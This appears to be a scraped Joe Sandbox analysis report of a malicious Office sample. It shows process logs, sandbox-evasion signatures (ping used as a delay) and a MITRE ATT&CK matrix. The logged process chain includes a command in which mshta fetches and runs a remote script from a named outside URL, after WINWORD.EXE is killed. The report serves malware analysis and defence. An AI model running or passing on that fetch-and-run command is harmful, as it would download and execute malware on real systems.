Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1			Jump to behavior

Source: C:\Windows\System32\taskkill.exe TID: 280	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 1468	Thread sleep time: -480000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Memory protected: page read and write | page guard

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\System32\Macromed\Flash\activex.vch VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	11 Process Injection	1 Masquerading	1 Input Capture	1 Virtualization/Sandbox Evasion	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Modify Registry	LSASS Memory	11 Remote System Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	4 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	121 Scripting	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	1 Archive Collected Data	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	23 Exploitation for Client Execution	Logon Script (Mac)	Logon Script (Mac)	11 Disable or Modify Tools	NTDS	1 File and Directory Discovery	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	14 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	121 Scripting	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Obfuscated Files or Information	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.8245.21810

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Exploit.Siggen3.17149.8245.21810

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.8245.21810